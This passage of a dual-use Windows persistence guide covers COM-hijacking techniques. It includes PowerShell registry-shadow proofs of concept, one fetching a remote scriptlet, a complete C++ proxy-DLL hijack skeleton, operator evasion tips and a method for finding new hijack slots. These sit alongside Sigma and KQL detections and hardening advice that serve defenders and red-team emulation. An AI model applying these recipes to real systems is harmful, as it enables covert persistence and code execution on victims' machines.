- The write lands under `HKCU\...\TypeLib\...`, not `CLSID\...\InprocServer32` — outside the target set of most published CLSID-hijack rules and of default Autoruns COM views ([17], [24]).
- The payload can live entirely at a URL: **nothing on disk** to scan or diff, and the scriptlet is re-fetched at every trigger, so the implant self-rearms even after local cleanup of payload files.
- Execution rides inside a Microsoft-signed host (Explorer.exe) through a Microsoft-signed loader (scrobj.dll) — no new process, no unsigned image load in the default case.
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user |
| OS/build | oleaut32 Automation resolution via HKCR (universal); a high-frequency LIBID (SHDocVw proven ITW) |
| Config | Target LIBID/version registered; know the client's bitness to pick `win32` vs `win64` |
| Payload | Local `.sct` or remote `script:https://...` scriptlet served by infrastructure |
#### Proof of concept
```powershell
# Local-scriptlet TypeLib shadow of SHDocVw (lab only)
$libid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$base = "HKCU:\Software\Classes\TypeLib\$libid\1.1\0\win64"
New-Item -Path $base -Force | Out-Null
Set-ItemProperty -Path $base -Name '(Default)' -Value 'script:C:\ProgramData\update.sct'
# update.sct = a Windows Script Component (<scriptlet>) with your JScript payload
# Trigger: restart Explorer (or wait for the next logon); cleanup: remove the HKCU TypeLib key
```
#### OpSec & detection
- **Any** `TypeLib\...\0\win32|win64` value containing `script:`, `http:`, or `https:` is *almost certainly malicious* — treat as a near-zero-false-positive rule ([17]).
- Watch **scrobj.dll image loads into non-scripting processes** (Explorer.exe, Office, browsers) — Sysmon EID 7.
- Hunt `reg.exe` command lines containing both `TypeLib` and `script` ([17]).
- Operator tradecraft: remote `script:` URLs re-arm after reboot and survive payload-file deletion, but introduce network indicators and infrastructure attribution risk; local `.sct` drops one file but no beacons.
#### Mitigations
- Add `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` to registry-write monitoring and gold-image diffs (§4).
- Block or alert on scrobj.dll loading outside scripting hosts; consider Attack Surface Reduction-style controls on script components for users who do not need them.
---
### 2.5 ProgID hijacking (name-based resolution shadowing)
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** Casey Smith's squiblydoo research (per bohops Part 2 ([5])) · **Affects:** any client that instantiates classes by ProgID (verify per build in lab)
> **Beginner note:** A **ProgID** (programmatic identifier) is a human-readable alias for a CLSID — e.g. `Scripting.Dictionary` — stored as `HKCR\<ProgID>\CLSID` = `{CLSID}`. Scripting clients (`CreateObject("Scripting.Dictionary")` in VBScript/JScript) resolve the name to the CLSID first, then activate normally.
ProgIDs are shadowable in exactly the same HKCU merge: create `HKCU\Software\Classes\<ProgID>\CLSID` = your own CLSID, and any client instantiating by name resolves *your* class ([5]).
#### Mechanics
1. Pick a ProgID a scripting client resolves (the canonical demo targets `Scripting.Dictionary`).
2. Plant `HKCU\Software\Classes\Scripting.Dictionary\CLSID` = `{00000001-0000-0000-0000-0000FEEDACDC}`.
3. Register that CLSID per-user with `InprocServer32` = `C:\WINDOWS\system32\scrobj.dll` plus a `ScriptletURL` value naming a local or remote `.sct` — the squiblydoo chain ([5]).
4. Next `CreateObject("Scripting.Dictionary")` executes the scriptlet via the signed scrobj.dll.
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user |
| OS/build | Scripting clients that resolve the chosen ProgID exist on the host |
| Config | No pre-existing HKCU shadow of the ProgID |
| Payload | `.sct` scriptlet reachable by the host |
#### Proof of concept
```powershell
# squiblydoo-style per-user ProgID shadow (lab only)
New-Item "HKCU:\Software\Classes\Scripting.Dictionary\CLSID" -Force |
New-ItemProperty -Name '(Default)' -Value '{00000001-0000-0000-0000-0000FEEDACDC}' | Out-Null
$c = 'HKCU:\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32'
New-Item $c -Force | New-ItemProperty -Name '(Default)' -Value 'C:\WINDOWS\system32\scrobj.dll' | Out-Null
Set-ItemProperty $c -Name 'ScriptletURL' -Value 'https://<your-cdn>/payload.sct'
```
#### OpSec & detection
- **Stability caveat:** this specific shadow breaks WinRM and `slmgr.vbs` with VBScript runtime errors — user/administrator-visible breakage that can burn the persistence ([5]). Prefer ProgIDs with narrow, predictable consumers.
- `ScriptletURL` value creation is rare legitimately — "detection gold" ([5]); alert on it unconditionally.
#### Mitigations
- Alert on HKCU ProgID shadows of built-in scripting ProgIDs and on any `ScriptletURL` value.
- Include `HKCU\Software\Classes\<ProgID>\CLSID` in hive-diff baselines.
---
### 2.6 Phantom objects and the ClickOnce variant (register what was never there)
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** methodology by bohops (2018) ([4]) and pentestlab/SpecterOps ([15], [25]); ClickOnce weaponization by CrowdStrike (2025) ([16]) · **Affects:** any host whose processes activate unregistered CLSIDs (verify per build in lab)
Section 1 defined the two phantom states — orphaned registrations (CLSID present, binary missing) and undefined-but-referenced classes (a process activates a CLSID registered nowhere). Both convert to persistence with a crucial OpSec property: **nothing legitimate is overwritten, so nothing breaks and there is no before/after to diff** ([16]).
#### Mechanics (ClickOnce variant, CrowdStrike 2025)
1. During a ClickOnce deployment, `rundll32.exe` calls `CoCreateInstance()` with a **hardcoded CLSID that is not registered** — `dfsvc.exe` normally registers it later at runtime via `CoRegisterClassObject` ([16]).
2. Pre-register that CLSID in HKCU with a `LocalServer32` pointing at your binary (or at `cmd.exe`/`powershell.exe` plus script arguments — fileless-capable, since `LocalServer32` values may carry a command line) ([4], [16]).
3. At the next deployment, the DCOM-launcher svchost starts your binary to satisfy the activation — inside a legitimate process tree, overwriting nothing.
4. **Limitations:** fires only while `dfsvc.exe` is not already running, and adds a 3050 second delay to the deployment ([16]). The hardcoded CLSID value is not printed in the accessible excerpt of the CrowdStrike post — pull the full blog/slides for it (verify in lab).
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user |
| OS/build | ClickOnce in use on the host (variant); otherwise any process with dangling CLSID references |
| Config | Target CLSID confirmed unregistered (ProcMon `NAME NOT FOUND`) |
| Payload | EXE or command line for `LocalServer32`; DLL for `InprocServer32` phantoms |
#### Proof of concept
```powershell
# Phantom-object registration for a CLSID a target process queries but no one owns (illustrative)
$clsid = '{DEADBEEF-0000-0000-0000-000000000000}' # replace with your ProcMon-observed dangling CLSID
New-Item "HKCU:\Software\Classes\CLSID\$clsid\LocalServer32" -Force |
New-ItemProperty -Name '(Default)' -Value "$env:APPDATA\agent.exe -Embedding" | Out-Null
# Verify with ProcMon: the next RegOpenKey for this CLSID returns SUCCESS instead of NAME NOT FOUND
```
#### OpSec & detection
- High-signal heuristic: a registered server path whose file does not exist, or a newly-registered CLSID that has **no HKLM counterpart at all** — the inverse of the classic shadow diff ([16]).
- `LocalServer32` values containing script interpreters or arguments are suspicious; `-Embedding` command lines with a non-svchost parent are suspicious ([4]).
- The 3050s ClickOnce deploy delay is user-visible in high-deployment environments ([16]).
#### Mitigations
- Baseline the set of registered CLSIDs per user; alert on additions that lack a machine-wide twin or that point at user-writable paths.
- Alert on `LocalServer32` values invoking `cmd.exe`/`powershell.exe`/script engines.
---
### 2.7 Pass-through proxy DLL persistence (stability tradecraft for every vector above)
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) (enabler tradecraft) · **Since:** leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019 ([11], [12]) · **Affects:** any `InprocServer32` hijack
A naive hijack DLL that does not implement the class breaks the host: the client asked for real interfaces, gets nothing, and may crash or hang — which is detection by malfunction. The professional pattern is the **pass-through (proxy) DLL**: the hijack DLL exports `DllGetClassObject`/`DllCanUnloadNow`, loads the *original* server from its HKLM path, and forwards the calls, so the client receives the interface pointers it expects and the host behaves normally ([11]). leoloobeek ships the reference PoC as COMProxy ([12]).
#### Mechanics
1. On `DLL_PROCESS_ATTACH`: disable thread-library calls, load the original server DLL (hardcoded path or read from HKLM via `RegGetValue`), and queue the payload on a **worker thread** — never do real work under loader lock.
2. `DllGetClassObject` resolves the original DLL's `DllGetClassObject` via `GetProcAddress` and forwards all three arguments — the client gets the **real** class factory.
3. `DllCanUnloadNow` implements leoloobeek's "hold the door" trick: spin until the payload thread signals completion, then forward — so COM never unloads the DLL mid-payload.
4. Gate the payload with a named-event mutex (run once per machine) and, optionally, a host-process check (run only inside explorer.exe).
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user (to drop the DLL and plant the shadow) |
| OS/build | Matches target host bitness; correct hive placement (`Wow6432Node` for 32-bit hosts) |
| Config | Original server path known (from the HKLM registration) |
| Payload | Compiled DLL exporting `DllGetClassObject`/`DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32 compatibility) |
#### Proof of concept — full forwarding skeleton ([11])
```cpp
// hijack.cpp — pass-through COM hijack server (skeleton)
// Build as a DLL; export DllGetClassObject + DllCanUnloadNow via .def
// (+ DllRegisterServer/DllUnregisterServer for regsvr32 compatibility).
#include <windows.h>
typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);
static HMODULE g_hOrig = NULL; // handle to the ORIGINAL server DLL
static volatile LONG g_lPayloadDone = 0;
static BOOL PayloadAlreadyRan() { // mutex trick (SpecterOps):
HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899"); // run-once gate
if (h == NULL) return TRUE; // fail closed -> no double-run
return (GetLastError() == ERROR_ALREADY_EXISTS); // TRUE if a prior instance ran
}
static BOOL IsDesiredHost() { // optional process gating:
wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH); // only fire in
wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p; // the targeted
return (_wcsicmp(b, L"explorer.exe") == 0); // host process
}
static DWORD WINAPI PayloadThread(LPVOID) {
// Runs OFF the loader lock. Keep it short; no re-entrant CoCreateInstance here.
if (IsDesiredHost() && !PayloadAlreadyRan()) {
STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe", // <- payload
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
InterlockedExchange(&g_lPayloadDone, 1); // signal DllCanUnloadNow
return 0;
}
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hMod); // less loader-lock noise
wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
g_hOrig = LoadLibraryW(orig); // or read HKLM path via RegGetValue
QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0); // never block DllMain
} else if (reason == DLL_PROCESS_DETACH) {
if (g_hOrig) FreeLibrary(g_hOrig);
}
return TRUE;
}
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE; // mirror "class missing" on failure
_DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
if (!p) return E_UNEXPECTED;
return p(rclsid, riid, ppv); // client gets the REAL interface
}
STDAPI DllCanUnloadNow(void) { // leoloobeek "hold the door" trick:
while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1); // wait for payload
_DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
return p ? p() : S_OK;
}
```
Exports (`.def`): `DllGetClassObject`, `DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32 compatibility) ([11]).
**Complementary tradecraft:**
- **Export forwarding for non-COM exports** (SpecterOps 2025 ([15])): `#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")` — generate stub sets with FaceDancer (`recon -I target.dll -G`) or Koppeling; SharpDllProxy automates the workflow ([27]).
- **`ThreadingModel` must match the HKLM original.** A mismatch makes COM insert proxy/stub marshaling between apartments (slow; can deadlock UI threads / `RPC_E_CANTTRANSMIT`); an STA-expecting client may crash; worst case the host crashes at load — which is detection. `Both` is the safest choice when unsure ([11], [15]).
- **DllMain constraints:** never block, never make a re-entrant `CoCreateInstance`, do minimal work under loader lock — spawn a thread. Gate against repeated instantiation with a mutex/event ([11]).
- **.NET COMVisible assemblies as payloads:** register the managed class with `regasm` — `InprocServer32` becomes the signed `C:\Windows\System32\mscoree.dll` with `Class`, `Assembly`, `RuntimeVersion`, and optionally `CodeBase` values; the CLR loads your assembly. Pure managed payload behind a signed host DLL ([4], [5]).
- **Registration-free COM:** activation-context manifests (`CreateActCtx`/`ActivateActCtx`, app-local manifests, Isolated COM) resolve classes from manifest files instead of the registry — keeps persistence off the CLSID hive entirely, or weaponizes a planted manifest next to a side-loadable binary ([39]).
- **ScriptletURL / scrobj.dll registration:** `InprocServer32` = `scrobj.dll` (signed) + a `ScriptletURL` value naming a local/remote `.sct` → fileless-ish and a default AppLocker bypass (squiblydoo, subTee) ([5]). `ScriptletURL` keys are rare legitimately — detection gold.
#### OpSec & detection
- The proxy DLL loads the original server via `LoadLibrary` — defenders see one unsigned image load (your stub) inside a signed host (Sysmon EID 7 on the host process).
- `DllCanUnloadNow` spinning makes the module effectively permanent for the host's lifetime — visible as a long-lived non-Microsoft module in explorer.exe.
- A correct proxy is *behaviorally* silent: no crashes, no missing interfaces. Detection must come from registry telemetry and module inventories, not malfunction.
#### Mitigations
- Sysmon EID 7 baselines for explorer/taskhostw/browser processes: alert on DLLs loaded from per-user or otherwise non-System32 paths.
- Combine the §4 registry rules with periodic module inventories; a hijack that proxies correctly can only be caught by its *registration* or its *image load*.
---
## 3. Tooling
| Tool | What it does | Where |
|---|---|---|
| **acCOMplice / COMHijackToolkit** (David Tulis, NCC Group; DerbyCon 9) | Discovery-and-weaponization toolkit: `Extract-HijackableKeysFromProcmonCSV`, `Find-MissingLibraries`, `Hijack-CLSID`, `Hijack-MultipleKeys` (frequency testing), a COMinject PoC, ProcMon filters, and `masterkeys.csv` of known-good targets | [github.com/nccgroup/Accomplice](https://github.com/nccgroup/Accomplice) ([13]) |
| **COM-Hunter** (@nickvourd + @S1ckB0y1337; C# .NET + BOF v3.0) | Operator tool with modes `search` (HKLM/HKCU), `persist`, `tasksch`, `treatas`, `remove` | [github.com/nickvourd/COM-Hunter](https://github.com/nickvourd/COM-Hunter) ([14]) |
| **Get-ScheduledTaskComHandler.ps1** (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | [github.com/enigma0x3/Misc-PowerShell-Stuff](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1) ([8]) |
| **COMProxy** (leoloobeek) | Pass-through hijack DLL PoC, plus TestCOMClient/TestCOMServer for harness testing | [github.com/leoloobeek/COMProxy](https://github.com/leoloobeek/COMProxy) ([12]) |
| **oleviewdotnet** (James Forshaw) | General COM enumeration/analysis (registrations, interfaces, TypeLibs); see also his "COM in 60 Seconds" talk | [github.com/tyranid/oleviewdotnet](https://github.com/tyranid/oleviewdotnet) ([26]) |
| **SharpDllProxy**, **FaceDancer**, **Koppeling** | Export-forwarding stub generators for building stable proxy DLLs | [github.com/Flangvik/SharpDllProxy](https://github.com/Flangvik/SharpDllProxy) ([27], [15]) |
| **UACME** (hfiref0x) | Reference corpus including the eventvwr CLSID-hijack UAC crossover | [github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME) ([28]) |
| **Atomic Red Team T1546.015** (Red Canary) | Tests #1#4: ready-made hijack emulation (Test #1 = CAccPropServicesClass `{B5F8350B-...}` via `rundll32.exe -sta`) | [atomic-red-team/atomics/T1546.015](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md) ([29]) |
| **EVTX-ATTACK-SAMPLES** (sbousseaden) | `persist_firefox_comhijack_sysmon_11_13_7_1.evtx` — real Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox, for detection validation | [github.com/sbousseaden/EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) ([30]) |
| **bohops' WMI one-liners** | `gwmi Win32_COMSetting` + `cmd /c dir` existence checks to find orphans (e.g. mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on 2008/2012) | bohops.com Part 1 ([4]) |
> **OpSec:** Offensive tooling that writes HKCU keys still lands in Sysmon EID 12/13 telemetry regardless of how "clean" the resulting persistence is. In assessed environments, stage keys with the same APIs a legitimate installer would use, at plausible times, and clean up helper artifacts (ProcMon CSVs, test DLLs) afterwards.
---
## 4. Detection and hunting
**Registry telemetry — the ground truth.** Sysmon EID 12 (registry key create/delete), EID 13 (registry value set), and EID 14 (registry key/value rename) are the primary sensors. Target paths:
- `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` — `InprocServer32`, `LocalServer32`, `TreatAs`, `ScriptletURL`, ProgID `CLSID` values;
- `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` — the TypeLib-hijack path (§2.4);
- `HKU\<SID>\Software\Classes\mscfile\shell\open\command` and `*\Folder\shell\open\command` — the eventvwr file-association pivot and `DelegateExecute` abuse (WarzoneRAT) ([1], [9]).
**High-signal heuristics** (stack them; each alone is good, together they are near-deterministic):
- `InprocServer32` (Default) pointing outside `%SystemRoot%\System32` / `Program Files` → user-writable paths;
- an HKCU CLSID shadowing an HKLM CLSID **with a different server path** (baseline diff);
- a registered server path whose file does not exist (phantom/orphan), or a new CLSID with no HKLM twin;
- `TreatAs` written by non-svchost/non-Office processes; **any** `ScriptletURL` key creation;
- TypeLib values containing `script:`/`http(s):`; scrobj.dll image loads in non-script hosts;
- command lines: `rundll32.exe -sta {CLSID}` (junk suffixes like `-stagggg` still work), `verclsid.exe /S /C {CLSID}` (NickTyrer gist; seen in phishing), `xwizard.exe RunWizard /taero /u {CLSID}`, `mmc.exe -Embedding <file.msc>` with a non-svchost parent, `reg.exe` with `TypeLib` + `script`.
**Named rules and analytics:**
| Source | Rule / analytic | Focus |
|---|---|---|
| SigmaHQ | `registry_set_persistence_com_key_linking.yml` ([31]) | `TreatAs` subkey writes (cites bohops Part 2) |
| SigmaHQ | `registry_set_treatas_persistence.yml` ([32]) | TreatAs persistence specifically |
| SigmaHQ | `registry_set_persistence_search_order.yml`, `registry_set_persistence_com_hijacking_susp_locations.yml`, `registry_set_persistence_com_hijacking_builtin.yml` ([33]) | Search-order abuse; COM servers in suspicious locations; builtin-class hijacks |
| detection.fyi index | "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking" | CLSID default-value edits, proxy/stub hijacks, scrobj loads |
| Elastic (prebuilt) | `persistence_suspicious_com_hijack_registry.toml` ([34]) | HKCU-vs-HKLM shadow diff |
| Splunk | "Eventvwr UAC Bypass" ([36]) + COM hijack analytics | `mscfile` HKCU writes |
| VirusTotal LiveHunt | YARA keyed on the Sigma behavior rule for CLSID COM hijacking (VT blog, Mar 2024) ([35]) | Sample clustering |
| Atomic Red Team | T1546.015 tests #1#4 ([29]) | Validation/emulation |
An illustrative Sigma-style skeleton encoding the shadow heuristic *(illustrative — adapt field names to your pipeline; the named rules above are the production versions)*:
```yaml
title: Per-User COM Server Registration Outside Machine Hive # (illustrative)
logsource:
category: registry_set # Sysmon EID 13
detection:
paths:
TargetObject|contains:
- '\Software\Classes\CLSID\'
- '_Classes\CLSID\'
- '\Software\Classes\TypeLib\'
values:
TargetObject|endswith:
- '\InprocServer32'
- '\LocalServer32'
- '\TreatAs'
suspicious_data:
Details|contains:
- 'AppData\'
- 'script:'
- 'http:'
- 'https:'
condition: paths and (values or suspicious_data)
level: high
```
And an illustrative KQL hunt over Microsoft Defender for Endpoint registry events *(illustrative — table/field names per MDE schema; the path and value indicators are from the heuristics above)*:
```kusto
// Per-user COM persistence writes: CLSID shadows, TreatAs, TypeLib script: (illustrative)
DeviceRegistryEvents
| where ActionType in ("RegistryValueSet", "RegistryKeyCreated")
| where RegistryKey has_any (@'\Software\Classes\CLSID\', @'_Classes\CLSID\', @'\Software\Classes\TypeLib\')
| where RegistryKey endswith @'\InprocServer32'
or RegistryKey endswith @'\LocalServer32'
or RegistryKey contains @'\TreatAs'
or RegistryValueName == 'ScriptletURL'
or (RegistryKey contains @'\TypeLib\' and RegistryValueData has_any ('script:', 'http:', 'https:'))
| project Timestamp, DeviceName, InitiatingProcessFileName, RegistryKey, RegistryValueName, RegistryValueData
| order by Timestamp desc
```
**Why Autoruns misses most of this.** Autoruns enumerates only specific COM categories and does not diff the full `HKCU\Software\Classes\CLSID` tree against HKLM — a per-user CLSID shadow is invisible in default views. When a Run-key launcher *is* used (`rundll32.exe -sta {CLSID}`, `mmc.exe -Embedding payload.msc`), the visible autorun entry points at a signed Microsoft binary while the payload path hides in the Classes hive ([5]). Practical compensations ([5], [33]):
- Periodically `reg export` `HKCU\Software\Classes\CLSID`, `HKCU\Software\Classes\TypeLib`, and `UsrClass.dat`, and diff against a gold image;
- Cross-check Sysmon EID 7 (image loads) of explorer/svchost/taskhostw for DLLs loaded from outside System32;
- Treat every named-rule hit as persistence until proven otherwise — these keys are near-zero noise in enterprise baselines.
---
## 5. Mitigations and hardening
1. **Monitor the merge, not the machine hive.** All vectors in this chapter write to `HKCU\Software\Classes` (surfaced as `HKU\<SID>\Software\Classes` and `HKU\<SID>_Classes`). Deploy the Sigma/Elastic coverage in §4; the shadow-diff heuristic (HKCU registration diverging from the HKLM twin) is the single highest-value analytic.
2. **Diff hives against gold images.** Scheduled exports of `HKCU\Software\Classes\CLSID` and `...\TypeLib` per user, diffed centrally, catch what Autoruns cannot ([5]).
3. **Module-load hygiene.** Alert (Sysmon EID 7) on Microsoft-signed auto-start hosts — explorer.exe, taskhostw.exe, svchost.exe, OUTLOOK.EXE, browsers — loading DLLs from per-user or otherwise non-standard paths, and on scrobj.dll in non-scripting processes.
4. **Constrain script components.** `ScriptletURL` values and `script:` TypeLib values are near-zero legitimate use; block or alert on both, and restrict `.sct` execution where the business allows ([5], [17]).
5. **Respond by deleting the shadow.** Per-user hijacks are fully reversible: removing the attacker's HKCU keys restores the HKLM registration with no damage to the host — then hunt the payload binary and the initial-access vector that planted it.
---
## Research Lab: Discovering New COM Persistence
Everything in section 2 was found by someone running the workflow below. The class is not exhausted: new auto-start hosts (WebView2-based apps, Electron shells, future shell components) keep bringing new high-frequency activations, and each one is a potential persistence slot.
### 1. Hunting hypothesis
The open classes of *new* COM persistence primitives are: (a) **undefined-but-referenced CLSIDs** in auto-start, Microsoft-signed hosts — activations that fail with `NAME NOT FOUND` today and can be claimed per-user tomorrow, breaking nothing (CrowdStrike's ClickOnce result proves the pattern generalizes ([16])); (b) **high-frequency TypeLib/LIBID shadows** of Automation libraries that stock hosts resolve constantly, especially combined with the `script:` moniker (only one LIBID is publicly burned so far ([17])); (c) **`TreatAs`/`AutoTreatAs` links** under classes loaded by scheduled tasks and shell extensions, which evade InprocServer32-only monitoring ([5], [20]); and (d) **WoW64 reflection gaps** — 32-bit hosts whose `Wow6432Node` Classes path defenders rarely baseline ([4], [23]).
### 2. Enumeration — building the target list
**Static orphan/phantom sweep (bohops method ([4]))** — find registered servers whose binaries are gone:
```powershell
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | %{ $_.InprocServer32 }
foreach ($p in $paths){ $p; cmd /c dir $p > $null } # "File Not Found" = orphan
```
Repeat for `LocalServer32`; normalize command-line arguments and environment variables before testing existence. acCOMplice's `Find-MissingLibraries` automates this, and `Extract-HijackableKeysFromProcmonCSV` post-processes captures ([13]). Historical hit: mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on Server 2008/2012 ([4]).
**Dynamic dangling-reference discovery (ProcMon).** Filters: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32`, optionally narrowed to target processes (`msedgewebview2.exe`, `OUTLOOK.EXE`, `Teams.exe`). Capture during logon and application launches. Every hit is a CLSID a live process tries to activate that you can register in HKCU ([15], [16]).
**Task-driven discovery.** `Get-ScheduledTaskComHandler.ps1` ([8]) or the §2.2 PowerShell loop → user-context ComHandler tasks with logon/idle triggers = scheduled triggers you can shadow.
**Frequency scoring.** A hijack is only as good as its trigger rate. Options: boot/session ProcMon traces → count `RegOpenKey` hits per CLSID per process per hour; ETW (Microsoft-Windows-COMRuntime / registry ETW); or acCOMplice's `Hijack-MultipleKeys` — hijack several candidates at once with a *logging* DLL and count activations over days ([13]). Score = trigger frequency x host desirability (explorer/browsers/taskhostw > niche processes) x breakage risk.
### 3. Triage heuristics — a target is promising if...
- the activating process is an **auto-start, Microsoft-signed host** in a normal user session (explorer.exe, taskhostw.exe, browsers/WebView2, Outlook);
- activation happens **at logon** or on a frequent, predictable cadence (task trigger, audio-stack use, shell start);
- the class is **third-party, abandoned, or undefined** — more likely to survive Windows updates than in-box Microsoft classes (CrowdStrike's point ([16]));
- the HKLM original exists with a known `ThreadingModel` (so a pass-through proxy keeps the host functional), or nothing exists at all (phantom — nothing to break);
- no HKCU shadow is already present, and the target's bitness/hive placement (including `Wow6432Node`) is understood;
- the payload path can be staged somewhere plausible (`%APPDATA%\Microsoft\...`), matching ITW precedent ([19]).
### 4. Analysis workflow — validating a candidate
Static first: dump the class registration with oleviewdotnet ([26]); record the original server path, `ThreadingModel`, ProgID/LIBID links, and whether the class is a shell extension (extra shell-specific values like `ShellFolder` attributes may be required — see the eventvwr recipe, §2.1).
Dynamic harness: implement the §2.7 pass-through DLL against the original server and unit-test it with a controlled client — leoloobeek ships TestCOMClient/TestCOMServer for exactly this ([11], [12]). Then soak-test the real host:
```powershell
# Soak loop sketch: repeatedly launch/kill the host and watch for instability (illustrative)
1..50 | % {
Start-Process explorer.exe; Start-Sleep 5
Get-WinEvent -LogName Application -MaxEvents 5 |
?{ $_.ProviderName -eq 'Windows Error Reporting' } # WerFault breadcrumb
Stop-Process -Name explorer -Force; Start-Sleep 2
}
```
Watch for WerFault entries, UI hangs, and proxy-marshal stalls. Verify: `ThreadingModel` matches HKLM; the payload is gated (mutex + host check) so it runs once; 32/64-bit hive placement is correct; and `DllCanUnloadNow` lets the payload finish before unload ([11]).
### 5. Fuzzing / mutation ideas
Mutation in this category means *systematically varying the registration*, not the bytes (methodology derived from the vectors above; treat specific outcomes as verify-in-lab):
- **`ThreadingModel` matrix** (`Apartment`/`Free`/`Both`/`Neutral`/absent) against STA- and MTA-hosted clients — map which mismatches produce silent proxy/stub insertion vs. hangs vs. crashes; crashes tell you the client is apartment-sensitive and the proxy must be exact.
- **Value-type and moniker mutations:** `REG_SZ` vs `REG_EXPAND_SZ` with unexpanded variables; `script:` with local path vs. remote URL in TypeLib values; `ScriptletURL` on scrobj-backed classes — observe which combinations oleaut32/scrobj actually honor.
- **Link-type mutations:** `TreatAs` vs `AutoTreatAs` vs direct shadow on the same class; check which are honored per client and which telemetry each generates.
- **Hive-placement mutations:** 64-bit host vs. `Wow6432Node`-only shadow; `HKU\<SID>_Classes` vs `HKU\<SID>\Software\Classes` — confirm which underlying store each monitored path surfaces from ([4], [23]).
- **Shell-only knobs:** `LoadWithoutCOM` and `ShellFolder` attribute combinations for shell-loaded classes ([28]).
### 6. From lead to primitive — proving exploitability
A candidate graduates to a persistence primitive when you can demonstrate, in a clean VM: (1) the target host loads *your* DLL on the expected trigger (confirm via ProcMon `Load Image` or Sysmon EID 7); (2) the payload executes exactly once per intended scope (mutex gate works across logons); (3) host functionality is intact — no WerFault, no UI regression, the proxied class answers real calls (the squiblydoo lesson: a hijack that breaks slmgr.vbs/WinRM is a detection, not a persistence ([5])); (4) it survives logoff/logon and reboot; and (5) it produces the expected, minimal telemetry set (§4) — document the EID 12/13 writes and EID 7 loads so the blue team can validate their rules against your emulation (Atomic Red Team tests #1#4 are the baseline ([29]), and EVTX-ATTACK-SAMPLES shows what real telemetry looks like ([30])).
### 7. Further reading
- bohops, *Abusing the COM Registry Structure Part 2* — loading techniques and evasion ([5])
- SpecterOps, *Revisiting COM Hijacking* (2025) — modern hosts, export forwarding, OpSec ([15])
- leoloobeek, *Proxying COM For Stable Hijacks* — the pass-through pattern ([11])
- CrowdStrike, *New Abuse of the ClickOnce Technology: Part 2* — phantom-object persistence ([16])
- David Tulis / NCC Group, *acCOMplice* — discovery methodology and tooling ([13])
- MDSec, *Persistence Part 2 COM Hijacking* — ComHandler walkthrough ([10])
---
## References
[1] Component Object Model Hijacking (T1546.015) — MITRE ATT&CK (updated 2025) — https://attack.mitre.org/techniques/T1546/015/
[2] Merged View of HKEY_CLASSES_ROOT — Microsoft — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root
[3] TreatAs key — Microsoft — https://learn.microsoft.com/en-us/windows/win32/com/treatas
[4] Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — bohops (2018) — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
[5] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
[6] COM Object hijacking: the discreet way of persistence — G-Data (2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
[7] Userland Persistence with Scheduled Tasks and COM Handler Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/
